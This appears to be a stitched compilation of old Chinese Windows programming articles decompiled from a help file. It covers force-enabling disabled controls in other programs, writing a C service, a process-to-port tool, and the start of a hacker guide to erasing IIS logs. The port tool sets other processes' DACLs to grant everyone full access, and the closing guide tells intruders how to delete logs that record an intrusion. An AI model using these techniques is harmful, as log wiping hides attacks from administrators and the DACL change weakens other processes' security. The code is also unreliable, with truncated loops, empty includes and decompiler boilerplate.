        (HANDLE)-1) return;
    memset(&pe32, 0,
        sizeof(pe32));
pe32.dwSize =
        sizeof(PROCESSENTRY32);
if
        (Process32First(hProcessSnap, &pe32))
{
do
        {
memset(&me32, 0,
        sizeof(me32));
me32.dwSize =
        sizeof(me32);
File = strrchr(pe32.szExeFile,
        '\');
File = File? File+1 :
        pe32.szExeFile;
if (strcmpi(File,ExeName)==0)
        {
EnumWindows((WNDENUMPROC)EnumWinProc,
pe32.th32ProcessID);
}
}
while(Process32Next(hProcessSnap,&pe32));
}
CloseHandle(hProcessSnap);
}


windows按钮突破专家相关技术
相信在window按键突破专家没有出来的时候，很多人还不知道软件还可以这样编的吧，本人也是一样，当知道有window按键突破专家这个软件时，仔细去想一下它的实现原理，才突然恍然大悟，原来原理居然是这么的简单，为什么以前我就没有想到呢。
好了，不说那么多废话，直接进入主题，我先是说说按键突破的原理。实现按键突破的其实就是EnableWindow这个函数。

BOOL EnableWindow(
HWND hWnd,
BOOL bEnable
);
hWnd 指定将要启用或者禁用的窗口的句柄
bEnable 若为TRUE则启用窗口，为FALSE则禁用窗口
只要把EnableWindow的第二个参数设置为TRUE,第一个参数填控件的句柄就将原来被禁止的控件重新变为可用。
现在的主要的问题是怎么得到控件的句柄，用vc++的朋友，应该都用过spy++这个强大的工具吧，它可以得到任意控件的句柄，和窗口的类名,看完这篇文章后，读者们也可以自己做一个属于自己的spy++啦。
先介绍一下RealChildWindowFromPoint这个函数
该函数的功能是用来获取在指定点上的子窗口的句柄
HWND RealChildWindowFromPoint(
HWND hwndParent, // 父窗口的句柄
POINT ptParentClientCoords // 以客户坐标指定的点
)
返回值:
返回其子窗口句柄
RealChildWindowFromPoint函数只能够查找到由 ptParentClientCoords 所得到的子窗口，但是无法得到最深层的窗口，也就是说如果有两个窗口重叠，就无法得到下面的窗口，这样的情况是经常出现的。
大家请开看图一。
“第一个子窗口”的窗口和“最深层的窗口”的复选框窗口就重叠了，如果用 RealChildWindowFromPoint 就只能得到“第一个子窗口”的窗口，而无法的到“最深层的窗口”的复选框，所以只简单的调用这个函数是无法实现Spy++的功能的。
大家来看看这个函数，这个函数会将鼠标所在的位置的窗口句柄赋予*phWnd。读者下次想得实现spy++的功能就调用这个函数就可以了。
解释一下，用GetCursorPos得到的鼠标位置，是屏幕的鼠标位置，比如你的分辨率为1024*768，GetCursorPos这个函数得到的就是在1024*768这个屏幕范围的鼠标位置，而客户区窗口坐标，指的是鼠标在一个窗口上的坐标，不同于屏幕坐标。
void GetRealWindow(HWND
        *phWnd)
{
POINT
        ptPoint;
HWND hWndTop =
        NULL;
HWND hWndChild =
        NULL;
POINT ptCooChild =
        {0};

//先得到ptPoint指向的(子)窗口，再通过子窗口得到父窗口的句柄
GetCursorPos(&ptPoint);//得到鼠标的位置
hWndTop =
        ::WindowFromPoint(ptPoint);//获取鼠标包含指定点的窗口的句柄
ptCooChild = ptPoint;
*phWnd = GetParent(hWndTop);
        //用来获取最上层的父窗口的句柄

::ScreenToClient(*phWnd,
        &ptCooChild);//该函数将屏幕的一个坐标转换成客户区（窗口）的坐标

//从最上层的窗口开始外下找，只直到找到最地层的窗口
while
        (TRUE){
hWndChild = RealChildWindowFromPoint(*phWnd,
        ptCooChild);
if (hWndChild
        && (hWndChild !=
        *phWnd))
*phWnd =
        hWndChild;
else
break;
}
}
呵呵，代码不是很多，如果看不懂的话，不要紧，懂得调用这个函数就可以啦。
现在要再调用EnableWindow就可以了。
HWND
        s;
GetRealWindow(&s);
::EnableWindow(s,1);

如果只是运行一次这面的这些语句的话，还是不行的，必须在程序开启突破功能的时候一直运行。
所以

while(1)
{
GetRealWindow(&s);
::EnableWindow(s,1);
Sleep(100);
}
但是，这样的话，问题又来了，就是让程序休息100毫秒，这个程序还是会把所以的cpu都占用完的，总不能因为这一个程序，而把资源的耗尽了，这是谁都不愿意看到的，这时，就必须用到多线程了，对于多线程技术，很多文章都有介绍了的.我就不多说那么多了。
DWORD WINAPI run(LPVOID l)
{
while(k==1)
{
GetRealWindow(&s);
::EnableWindow(s,1);

Sleep(100);
}
ExitThread(dwThreadID);
return 1;
}

先把实现按键突破的语句放在一个新的函数里。里面的这个k，是个全句变量,先在“资源”中添加一个Button按键（只是为了说明问题，所以程序做得很简单）。
void CJiandanwindowDlg::OnButton1()
{
k=1;
CreateThread(NULL,0,run,(LPVOID)i,0,&dwThreadID);
}

当按了一下Button时，就可以开始实现按键突破的功能了，仔细看一下，会发现这个程序和window按键突破专家有点不同，因为window按键突破专家在鼠标指向一个窗口时，就会将那个窗口下所有被禁止的控件都变成可用，而本程序，是鼠标指去哪个不可用的控件，那个控件就会编程可用，其他控件不受影响，如果想和window按键突破专家一样的功能，其实也很简单，只要改一下代码就可以了，读者们自己想想吧。
补充一点：这个程序不能直接在vc++下运行，因为源代码将编译不了，必须去微软的老窝去下载最新的windows sdk，安装以后，把所有的.h和.lib拷贝到vc++的相关目录里。windows sdk有许多有用的函数，建议用vc++的朋友都应该去下载。
程序在winxp、vc++6.0下通过编译
补:文章写于windows按键突破专家刚刚出来的时候,当时已经是几年前了.一直没有发表过,几年前写的东西难免有很多地方不足,但我也懒得改了,麻烦,如果需要原代码,我也帖出来~


C 语言编写 Windows 服务程序的五个步骤

文章来源:vckbase
原文：Yevgeny Menaker
翻译：Northtibet

摘要

    Windows 服务被设计用于需要在后台运行的应用程序以及实现没有用户交互的任务。为了学习这种控制台应用程序的基础知识，C（不是C++）是最佳选择。本文将建立并实现一个简单的服务程序，其功能是查询系统中可用物理内存数量，然后将结果写入一个文本文件。最后，你可以用所学知识编写自己的 Windows 服务。
    当初我写第一个 NT 服务时，我到 MSDN 上找例子。在那里我找到了一篇 Nigel Thompson 写的文章：“Creating a Simple Win32 Service in C++”，这篇文章附带一个 C++ 例子。虽然这篇文章很好地解释了服务的开发过程，但是，我仍然感觉缺少我需要的重要信息。我想理解通过什么框架，调用什么函数，以及何时调用，但 C++ 在这方面没有让我轻松多少。面向对象的方法固然方便，但由于用类对底层 Win32 函数调用进行了封装，它不利于学习服务程序的基本知识。这就是为什么我觉得 C 更加适合于编写初级服务程序或者实现简单后台任务的服务。在你对服务程序有了充分透彻的理解之后，用 C++ 编写才能游刃有余。当我离开原来的工作岗位，不得不向另一个人转移我的知识的时候，利用我用 C 所写的例子就非常容易解释 NT 服务之所以然。
    服务是一个运行在后台并实现勿需用户交互的任务的控制台程序。Windows NT/2000/XP 操作系统提供为服务程序提供专门的支持。人们可以用服务控制面板来配置安装好的服务程序，也就是 Windows 2000/XP 控制面板|管理工具中的“服务”（或在“开始”|“运行”对话框中输入 services.msc /s——译者注）。可以将服务配置成操作系统启动时自动启动，这样你就不必每次再重启系统后还要手动启动服务。
    本文将首先解释如何创建一个定期查询可用物理内存并将结果写入某个文本文件的服务。然后指导你完成生成，安装和实现服务的整个过程。

第一步：主函数和全局定义

首先，包含所需的头文件。例子要调用 Win32 函数（windows.h）和磁盘文件写入（stdio.h）：

#include
#include
接着，定义两个常量：

#define SLEEP_TIME 5000
#define LOGFILE "C:\\MyServices\\memstatus.txt"
SLEEP_TIME 指定两次连续查询可用内存之间的毫秒间隔。在第二步中编写服务工作循环的时候要使用该常量。
LOGFILE 定义日志文件的路径，你将会用 WriteToLog 函数将内存查询的结果输出到该文件，WriteToLog 函数定义如下：

int WriteToLog(char* str)
{
FILE* log;
log = fopen(LOGFILE, "a+");
if (log == NULL)
return -1;
fprintf(log, "%s\n", str);
fclose(log);
return 0;
}
声明几个全局变量，以便在程序的多个函数之间共享它们值。此外，做一个函数的前向定义：

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int InitService();
    现在，准备工作已经就绪，你可以开始编码了。服务程序控制台程序的一个子集。因此，开始你可以定义一个 main 函数，它是程序的入口点。对于服务程序来说，main 的代码令人惊讶地简短，因为它只创建分派表并启动控制分派机。

void main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "MemoryStatus";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;

// 启动服务的控制分派机线程
StartServiceCtrlDispatcher(ServiceTable);
}
    一个程序可能包含若干个服务。每一个服务都必须列于专门的分派表中（为此该程序定义了一个 ServiceTable 结构数组）。这个表中的每一项都要在 SERVICE_TABLE_ENTRY 结构之中。它有两个域：

lpServiceName: 指向表示服务名称字符串的指针；当定义了多个服务时，那么这个域必须指定；
lpServiceProc: 指向服务主函数的指针（服务入口点）；
    分派表的最后一项必须是服务名和服务主函数域的 NULL 指针，文本例子程序中只宿主一个服务，所以服务名的定义是可选的。
    服务控制管理器（SCM：Services Control Manager）是一个管理系统所有服务的进程。当 SCM 启动某个服务时，它等待某个进程的主线程来调用 StartServiceCtrlDispatcher 函数。将分派表传递给 StartServiceCtrlDispatcher。这将把调用进程的主线程转换为控制分派器。该分派器启动一个新线程，该线程运行分派表中每个服务的 ServiceMain 函数（本文例子中只有一个服务）分派器还监视程序中所有服务的执行情况。然后分派器将控制请求从 SCM 传给服务。

注意：如果 StartServiceCtrlDispatcher 函数30秒没有被调用，便会报错，为了避免这种情况，我们必须在 ServiceMain 函数中（参见本文例子）或在非主函数的单独线程中初始化服务分派表。本文所描述的服务不需要防范这样的情况。

    分派表中所有的服务执行完之后（例如，用户通过“服务”控制面板程序停止它们），或者发生错误时。StartServiceCtrlDispatcher 调用返回。然后主进程终止。

第二步：ServiceMain 函数

    Listing 1 展示了 ServiceMain 的代码。该函数是服务的入口点。它运行在一个单独的线程当中，这个线程是由控制分派器创建的。ServiceMain 应该尽可能早早为服务注册控制处理器。这要通过调用 RegisterServiceCtrlHadler 函数来实现。你要将两个参数传递给此函数：服务名和指向 ControlHandlerfunction 的指针。
    它指示控制分派器调用 ControlHandler 函数处理 SCM 控制请求。注册完控制处理器之后，获得状态句柄（hStatus）。通过调用 SetServiceStatus 函数，用 hStatus 向 SCM 报告服务的状态。
Listing 1 展示了如何指定服务特征和其当前状态来初始化 ServiceStatus 结构，ServiceStatus 结构的每个域都有其用途：

dwServiceType：指示服务类型，创建 Win32 服务。赋值 SERVICE_WIN32；
dwCurrentState：指定服务的当前状态。因为服务的初始化在这里没有完成，所以这里的状态为 SERVICE_START_PENDING；
dwControlsAccepted：这个域通知 SCM 服务接受哪个域。本文例子是允许 STOP 和 SHUTDOWN 请求。处理控制请求将在第三步讨论；
dwWin32ExitCode 和 dwServiceSpecificExitCode：这两个域在你终止服务并报告退出细节时很有用。初始化服务时并不退出，因此，它们的值为 0；
dwCheckPoint 和 dwWaitHint：这两个域表示初始化某个服务进程时要30秒以上。本文例子服务的初始化过程很短，所以这两个域的值都为 0。
    调用 SetServiceStatus 函数向 SCM 报告服务的状态时。要提供 hStatus 句柄和 ServiceStatus 结构。注意 ServiceStatus 一个全局变量，所以你可以跨多个函数使用它。ServiceMain 函数中，你给结构的几个域赋值，它们在服务运行的整个过程中都保持不变，比如：dwServiceType。
    在报告了服务状态之后，你可以调用 InitService 函数来完成初始化。这个函数只是添加一个说明性字符串到日志文件。如下面代码所示：

// 服务初始化
int InitService()
{
int result;
result = WriteToLog("Monitoring started.");
return(result);
}
    在 ServiceMain 中，检查 InitService 函数的返回值。如果初始化有错（因为有可能写日志文件失败），则将服务状态置为终止并退出 ServiceMain：

error = InitService();
if (error)
{
// 初始化失败，终止服务
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
// 退出 ServiceMain
return;
}
如果初始化成功，则向 SCM 报告状态：

// 向 SCM 报告运行状态
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
接着，启动工作循环。每五秒钟查询一个可用物理内存并将结果写入日志文件。

如 Listing 1 所示，循环一直到服务的状态为 SERVICE_RUNNING 或日志文件写入出错为止。状态可能在 ControlHandler 函数响应 SCM 控制请求时修改。

第三步：处理控制请求

    在第二步中，你用 ServiceMain 函数注册了控制处理器函数。控制处理器与处理各种 Windows 消息的窗口回调函数非常类似。它检查 SCM 发送了什么请求并采取相应行动。
    每次你调用 SetServiceStatus 函数的时候，必须指定服务接收 STOP 和 SHUTDOWN 请求。Listing 2 示范了如何在 ControlHandler 函数中处理它们。
    STOP 请求是 SCM 终止服务的时候发送的。例如，如果用户在“服务”控制面板中手动终止服务。SHUTDOWN 请求是关闭机器时，由 SCM 发送给所有运行中服务的请求。两种情况的处理方式相同：

写日志文件，监视停止；
向 SCM 报告 SERVICE_STOPPED 状态；
    由于 ServiceStatus 结构对于整个程序而言为全局量，ServiceStatus 中的工作循环在当前状态改变或服务终止后停止。其它的控制请求如：PAUSE 和 CONTINUE 在本文的例子没有处理。
    控制处理器函数必须报告服务状态，即便 SCM 每次发送控制请求的时候状态保持相同。因此，不管响应什么请求，都要调用 SetServiceStatus。

第四步：安装和配置服务

    程序编好了，将之编译成 exe 文件。本文例子创建的文件叫 MemoryStatus.exe，将它拷贝到 C:\MyServices 文件夹。为了在机器上安装这个服务，需要用 SC.EXE 可执行文件，它是 Win32 Platform SDK 中附带的一个工具。（译者注：Visaul Studio .NET 2003 IDE 环境中也有这个工具，具体存放位置在：C:\Program Files\Microsoft Visual Studio .NET 2003\Common7\Tools\Bin\winnt）。使用这个实用工具可以安装和移除服务。其它控制操作将通过服务控制面板来完成。以下是用命令行安装 MemoryStatus 服务的方法：

sc create MemoryStatus binpath= c:\MyServices\MemoryStatus.exe

    发出此创建命令。指定服务名和二进制文件的路径（注意 binpath= 和路径之间的那个空格）。安装成功后，便可以用服务控制面板来控制这个服务。用控制面板的工具栏启动和终止这个服务。
MemoryStatus 的启动类型是手动，也就是说根据需要来启动这个服务。右键单击该服务，然后选择上下文菜单中的“属性”菜单项，此时显示该服务的属性窗口。在这里可以修改启动类型以及其它设置。你还可以从“常规”标签中启动/停止服务。以下是从系统中移除服务的方法：
sc delete MemoryStatus
指定 “delete” 选项和服务名。此服务将被标记为删除，下次西通重启后，该服务将被完全移除

第五步：测试服务

    从服务控制面板启动 MemoryStatus 服务。如果初始化不出错，表示启动成功。过一会儿将服务停止。检查一下 C:\MyServices 文件夹中 memstatus.txt 文件的服务输出。在我的机器上输出是这样的：

Monitoring started.
273469440
273379328
273133568
273084416
Monitoring stopped.
    为了测试 MemoryStatus 服务在出错情况下的行为，可以将 memstatus.txt 文件设置成只读。这样一来，服务应该无法启动。
    去掉只读属性，启动服务，在将文件设成只读。服务将停止执行，因为此时日志文件写入失败。如果你更新服务控制面板的内容，会发现服务状态是已经停止。

开发更大更好的服务程序

    理解 Win32 服务的基本概念，使你能更好地用 C++ 来设计包装类。包装类隐藏了对底层 Win32 函数的调用并提供了一种舒适的通用接口。修改 MemoryStatus 程序代码，创建满足自己需要的服务！为了实现比本文例子所示范的更复杂的任务，你可以创建多线程的服务，将作业划分成几个工作者线程并从 ServiceMain 函数中监视它们的执行。

作者简介
        Yevgeny Menaker 是一名有着超过5年经验开发人员，作家和 Linux 顾问。过去的三年，Yevgeny 专注于开发新的高级的 Internet 技术。他牵头编写了《Programming Perl in the .NET Environment》一书（Prentice-Hall）。此外，作为 Linux 顾问，他还在 Object Innovations 任职。Yevgeny Menaker 的联系方式是：jeka_books@hotmail.com

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


Win2K下关联进程/端口之代码初步分析

Shotgun@xici.net
在西祠或者中绿的BBS中，经常见到网友问：如何才能关联我的进程和端口呀？没错，关联进程和端口是一个非常有用的功能，你可以清楚地知道哪些程序在使用哪些端口，对于查杀木马很有帮助。可是我们虽然可以使用任务管理器浏览进程列表，使用Netstat查看端口的使用状况，却没有一个命令可以直接关联进程和端口(WinXP上增加了新的NetStat功能，支持直接查看端口进程状况)，今年年初的时候，国外出了一个有名的软件Fport，它可以显示当前所有的端口及他们所属的进程，可是，这个软件并没有公开源代码，（太不符合自由软件精神了吧？），我根据对这个软件的逆向工程，做了一个类似的工具，在这里和大家探讨一下它的原理。

一拿到Fport的时候，我就对它进行了API分析，发现除了一些基本的API以外，它还调用了NTDLL.dll的几个未公开API，如NtQuerySystemInfomation，NtQueryInfomationProcess，直觉告诉我，关键应该在这两个函数中，特别是前者。为了能够理解Fport的运行机理，我们首先要来复习一下SOCKET。SOCKET究竟是什么？它的中文名称叫做套接口，但是，实际上我们所谓的SOCKET数据结构只是一个32位的无符号整数（在UNIX中是16位的），它对于Windows操作系统来说其实是一个文件句柄（SOCKET是文件？奇怪么？操作系统在底层实现的时候，常常使用文件的概念来完成一些基本的功能），这样的话问题就明朗了，如果我们能够枚举系统所有的句柄，从中获得属性为SOCKET的，不就可以完成Fport的功能？现在你应该想到了，为什么Fport要调用NtQuerySystemInfomation这个API，实际上，NtQuerySystemInfomation这个函数提供了一个简单的途径以获得系统所有的HANDLE，我们先来看看这个函数的原型：

DWORD NtQuerySystemInformation( DWORD dwRecordType,

                               PDWORD pdwHandleList,

                               DWORD dwNumBytes,

                               PDWORD pdwNumBytesRet );

我来解释一下，NtQuerySystemInformation这个函数有四个参数，第一个参数是dwRecordType，这个参数指定了我们所查询的系统信息类型，为了查询系统HANDLE列表，我们定义一个常量#define NT_HANDLE_LIST　　　　 16（这个数值我是查资料得到的，如果谁有更详细的资料，也请让我共享一下）；第二个参数是一个指针，这个指针用来返回系统句柄列表，在调用NtQuerySystemInformation函数之前，必须为这个指针分配足够的内存空间，否则函数调用会出错；第三个参数是指定你为HandleList所分配的内存空间大小，单位是byte；第四个参数是NtQuerySystemInformation返回的HandleList的大小；如果NtQuerySystemInformation函数调用成功，返回值将是0，否则可以使用GetLastError()获得详细的错误代码。

一旦NtQuerySystemInformation函数调用成功，系统中所有的句柄将被存放在pdwHandleList所指向内存空间中，其中，pdwHandleList所指向的第一个32位数，是这个buf所包含的句柄数量，之后是顺序排列的句柄指针pHandleInfo，指向的是HANDLEINFO结构：

typedef struct _HandleInfo

{
       USHORT dwPid;

       USHORT CreatorBackTraceIndex;

       BYTE　 ObjType;

       BYTE　 HandleAttributes;

       USHORT HndlOffset;

       DWORD　dwKeObject;

       ULONG　 GrantedAccess;

}HANDLEINFO, *PHANDLEINFO;

看到这个结构，我们心中就有底了，句柄信息中包括了句柄所属进程的PID，这样我们就可以关联进程和SOCKET了，可是，在NT中有各种各样的句柄：进程句柄、令牌句柄、文件句柄、窗口句柄……我们怎样才能判断一个句柄究竟是不是SOCKET呢？这就要靠HANDLEINFO结构中的ObjType属性了，经过分析，我们发现，SOCKET句柄的类型值为0x1A，所以，我们将所有类型为0x1A的句柄取出，进行getsockname操作就可以得到当前的进程/端口对应列表，实际上并不然，要知道，我们得到的句柄都属于其他的进程，在NT中根据进程保护的原则，一个进程没有办法直接得到其他进程的各种信息，特别是句柄，不同进程中的同一句柄(句柄的数值相同)根本就不是同样的东西，因此，我们还必须进行一次转换，将其他进程的句柄转换为本进程的句柄，这个转换工作只要简单地调用DuplicateHandle函数就可以完成了：

DuplicateHandle(hSourceProc,

               (HANDLE)pHandleInfo->HndlOffset,

               hCurrentProc,

                   &hMyHandle,

                   STANDARD_RIGHTS_REQUIRED,

                   true,

                   0 );

之后我们就可以通过getsockname、getsockopt等函数来获得SOCKET的各种属性了（使我困惑的是，Fport并没有调用getsockname，这说明，应该有更简单的方法来得到SOCKET句柄的各种属性，看来我对SOCKET句柄的了解程度还是很肤浅呀）

sockaddr_in name = {0};

name.sin_family = AF_INET;

int namelen = sizeof(sockaddr_in);

SOCKET s = (SOCKET)hMyHandle;

char szSockType[6][6] = { "NUL", "TCP", "UDP", "RAW", "RDM", "SEQ" };

iRet = getsockname( s, (sockaddr*)&name, &namelen );

if ( iRet != SOCKET_ERROR )

{

    int sockType = 0;

    int optlen = 4;

    iRet = getsockopt(　　s, SOL_SOCKET, SO_TYPE, (char*)&sockType, &optlen );

    printf("PID=%4d PORT=%5d %s\n", pHandleInfo->dwPid,

           ntohs( name.sin_port ), szSockType[sockType] );

}

至此，进程和端口关联的工作已经基本完成，可是，还有一些不足的地方，首先，这个软件不像Fport一样能够查看system进程（就是那个著名的8#进程）的SOCKET，错误代码是5（access denied），一个简单的解决方法是将自己做成service，这样就有了对Local System进程的访问权限，不过似乎Fport并不是这么做的，此为疑点一；其次，由于我对HANDLE属性的肤浅认识，有的时候会出现误报或漏报的现象，即使没有误报，将所有属性为0x1A的句柄都进行getsockname效率也略微低了一点，这里应该有更好的解决方案，此为疑点二；最后，Fport并没有调用socket函数来获得socket属性，这说明有一个更简单直接的方法可以从SOCKET句柄中得到端口、协议等信息，可惜我不知道，此为疑点三。不过令人欣慰的是，我写出来的Gport可以在Win2K的非管理员用户下运行，此时，仅能获得本用户所有进程的端口，这大概是Fport所没有具备的功能。

写本文的目的，一方面是为了解答某些网友对Fport原理的疑问，另一方面也是为了抛砖引玉，希望能解答我心中的这些疑点，望各位高手能不吝赐教。

最后附上Gport的代码，Gport的测试版和代码文件可以在我的主页上下载，地址为：http://shotgun.patching.net/Gport.zip

附：Gport.cpp

#include

#include

#include

#include

#pragma comment ( lib, "ws2_32.lib" )

// NtQuerySystemInformation record type 16

#define NT_HANDLE_LIST　　　　 16

#define OBJECT_TYPE_SOCKET　　　 0x1A

#define MAX_HANDLE_LIST_BUF　　　 0x200000

// 定义HanleInfo数据结构

typedef struct _HandleInfo

{

       USHORT dwPid;

       USHORT CreatorBackTraceIndex;

       BYTE　 ObjType;

       BYTE　 HandleAttributes;

       USHORT HndlOffset;

       DWORD　dwKeObject;

       ULONG GrantedAccess;

}HANDLEINFO, *PHANDLEINFO;

// 申明NtQuerySystemInformation()函数

typedef DWORD (CALLBACK* NTQUERYSYSTEMINFORMATION)( DWORD, PDWORD, DWORD, PVOID );

NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;

// 判断SOCKET类型的数组

char szSockType[6][6] = { "NUL", "TCP", "UDP", "RAW", "RDM", "SEQ" };

//

// RaisePrivleges()函数用来提升本进程的特权

//

bool RaisePrivleges( HANDLE hToken, char *pPriv )

{

       TOKEN_PRIVILEGES tkp;

       if ( !LookupPrivilegeValue( NULL, pPriv, &tkp.Privileges[0].Luid ) )

       {

             printf( "LookupPrivilegeValue Error:%d\n", GetLastError() );

             return false;

       }

        tkp.PrivilegeCount = 1;

       tkp.Privileges[0].Attributes │= SE_PRIVILEGE_ENABLED;

      int iRet = AdjustTokenPrivileges(　　　 hToken,

                                                                   false,

                                                                   &tkp,

                                                                   0,

                                                                   (PTOKEN_PRIVILEGES)NULL,

                                                                   0 );

       if ( iRet == NULL )　　　　　　　　　　　　　　　　 //AdjustTokenPrivileges函数调用失败

       {

             printf( "AdjustTokenPrivileges Error:%d\n", GetLastError() );

             return false;

       }

       else 　　　　　　　　　　　　　　　　　　　　　　　 //AdjustTokenPrivileges调用成功

       {　　　　　　　　　　　　　　　　　　　　　　　　　　　　 //使用GetLastError()获得返回值

             iRet = GetLastError();

             switch ( iRet )

             {

                    case ERROR_NOT_ALL_ASSIGNED://未指派所有的特权

                          printf( "AdjustTokenPrivileges ERROR_NOT_ALL_ASSIGNED\n" );

                           return false;

                    case ERROR_SUCCESS:　　　　　　　 //成功地指派了所有的特权

                           return true;

                    default:　 　　　　　　　　　　　　　 //不知名的错误

                          printf( "AdjustTokenPrivileges Unknow Error:%d\n", iRet );

                           return false;

             }

       }

}//end of RaisePrivleges

//

// AdjustDacl用来调整目标进程的DACL

//

void AdjustDacl( HANDLE hProcess )

{

       SID world = { SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, 0 };

       LPTSTR ptstrName = (LPTSTR)&world;

    EXPLICIT_ACCESS ea =

     {

         STANDARD_RIGHTS_ALL │ SPECIFIC_RIGHTS_ALL,

         SET_ACCESS,

         NO_INHERITANCE,

         {

                    0, NO_MULTIPLE_TRUSTEE,

             TRUSTEE_IS_SID,

             TRUSTEE_IS_USER,

                    ptstrName

             }

     };

       ACL * pdacl = 0;

       if ( SetEntriesInAcl(1, &ea, 0, &pdacl) != ERROR_SUCCESS )

             printf( "SetEntriesInAcl Error:%d", GetLastError() );

       if ( SetSecurityInfo(　　hProcess,

                                              SE_KERNEL_OBJECT,

                                              DACL_SECURITY_INFORMATION,

                                              0 , 0, pdacl, 0 ) != ERROR_SUCCESS )

             printf( "SetSecurityInfo Error:%d", GetLastError() );

       LocalFree(pdacl);

}//end of AdjustDacl

int main( )

{

       printf( "\t=*= GPort Beta1 (Shotgun@xici.net) =*=\n\n" );

       int iRet;

       WSADATA wsaData;

       iRet = WSAStartup( MAKEWORD(1,1), &wsaData );

       if ( iRet )

             printf( "WSAStartup Error:%d\n", GetLastError() );

       HANDLE hCurrentProc = GetCurrentProcess();

       HANDLE hToken;

       if ( !OpenProcessToken(　　　 hCurrentProc,

                                              TOKEN_QUERY │ TOKEN_ADJUST_PRIVILEGES,

                                              &hToken ) )

             printf( "OpenProcessToken Error:%d\n", GetLastError() );

       else

       {

             if ( !RaisePrivleges( hToken, SE_DEBUG_NAME ) )

                    printf( "SetPrivleges SE_DEBUG_NAME Error:%d\n", GetLastError() );

       }

       if ( hToken )

             CloseHandle( hToken );

       HMODULE hNtdll = NULL;

       hNtdll = LoadLibrary( "ntdll.dll" );

       if ( !hNtdll )

       {

             printf( "LoadLibrary( NTDLL.DLL ) Error:%d\n", GetLastError() );

             return false;

       }

       NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)

             GetProcAddress(　　 hNtdll,　　　 "NtQuerySystemInformation");

       if ( !NtQuerySystemInformation )

       {

             printf( "GetProcess( NtQuerySystemInformation ) Error:%d\n", GetLastError() );

             return false;

       }

       DWORD dwNumBytes = MAX_HANDLE_LIST_BUF;

       PDWORD pdwHandleList = (PDWORD)malloc( dwNumBytes );

       if ( !pdwHandleList )

       {

         printf( "Malloc for Handle List Error:%d\n", GetLastError() );

         return false;

       }

       DWORD dwNumBytesRet = 0;

       iRet = (*NtQuerySystemInformation)(　　　 NT_HANDLE_LIST,

                                                                   pdwHandleList,

                                                                   dwNumBytes,

                                                                   &dwNumBytesRet);

       DWORD dwNumEntries;

       PHANDLEINFO pHandleInfo;

       if ( iRet )

       {

             printf( "NtQuerySystemInformation return %d, Error:%d\n",

                          dwNumBytesRet,

                          GetLastError() );

       }

       else

       {

             HANDLE hProc;

             dwNumEntries = pdwHandleList[0];

             pHandleInfo = (PHANDLEINFO)( pdwHandleList + 1 );

             for ( DWORD i = 0; i

             {

                    if (　( pHandleInfo->ObjType == OBJECT_TYPE_SOCKET )

                           && ( pHandleInfo->dwPid ) )

                    {

                           hProc = OpenProcess(WRITE_DAC,

                                                             false,

                                                             pHandleInfo->dwPid );

                           if ( hProc )

                           {

                                  AdjustDacl( hProc );

                                  CloseHandle( hProc );

                           }

                           else

                                  printf( "OpenProcess(WRITE_DAC) %d Error:%d\n",

                                              pHandleInfo->dwPid,

                                              GetLastError() );

                          HANDLE hMyHandle = NULL;

                           hProc = OpenProcess(PROCESS_DUP_HANDLE,

                                                             true,

                                                             pHandleInfo->dwPid );

                           if ( hProc )

                           {

                                  DuplicateHandle(hProc,

                                                             (HANDLE)pHandleInfo->HndlOffset,

                                                             hCurrentProc,

                                                             &hMyHandle,

                                                             STANDARD_RIGHTS_REQUIRED,

                                                             true,

                                                             0 );

                                  CloseHandle( hProc );

                           }

                           else

                                  printf( "OpenProcess %d Error:%d\n",

                                              pHandleInfo->dwPid,

                                              GetLastError() );

                           if ( !hMyHandle )

                           {

                                  Sleep( 0 );

                                  //printf( "DuplicateHandle PID=%4d HANDLE:%4d Error:%d\n",

                                  //　　　　　　 pHandleInfo->dwPid, pHandleInfo->HndlOffset, GetLastError() );

                           }

                           else

                           {

                                  sockaddr_in name = {0};

                                  name.sin_family = AF_INET;

                                  int namelen = sizeof(sockaddr_in);

                                  SOCKET s = (SOCKET)hMyHandle;

                                  iRet = getsockname( s,

                                                                   (sockaddr*)&name,

                                                                   &namelen );

                                  if ( iRet != SOCKET_ERROR )

                                  {

                                        int sockType = 0;

                                        int optlen = 4;

                                        iRet = getsockopt(　　s,

                                                                          SOL_SOCKET,

                                                                          SO_TYPE,

                                                                          (char*)&sockType,

                                                                          &optlen );

                                        printf( "PID=%4d PORT=%5d %s\n",

                                                     pHandleInfo->dwPid,

                                                     ntohs( name.sin_port ),

                                                     szSockType[sockType] );

                                  }

                           }

                    }

                    pHandleInfo++;

             }

       }

       if ( pdwHandleList )

             free( pdwHandleList );

       if ( hCurrentProc )

             CloseHandle( hCurrentProc );

       return 0;

}

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


一个2000的日志清除器是怎么练成的
文章作者:绿色兵团 编の魂

我想大想一定用过小榕的CLeanIIsLog,是一个不错的日志清除工具。不过可惜，只
能清除IIS的日志，那ftp和shedule待产生的日志文件呢，我们一般只能手动清除。

Windows2000的日志文件通常有应用程序日志，安全日志、系统日志、DNS服务器日志、
FTP日志、WWW日志等等，可能会根据服务器所开启的服务不同。

一般步骤如下:
1.清除IIs的日志。
可不要小看IIS的日志功能，它可以详细的记录下你的入侵全过程,如
如你用unicode入侵时ie里打的命令，和对80端口扫描时留下的痕迹。你可能就因为对
其不注意，而被网管盯上，说不定还会.......呵呵
那我们就可手动清除吧
1.日志的默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志
那我们就切换到这个目录下吧
del *.*
你大概想是安全了吧，那就dir一下吧
咦,咦,今天的日志怎么还在，不要慌。因为w3svc服务还开着，那我们怎么清除这个日志文件呢?
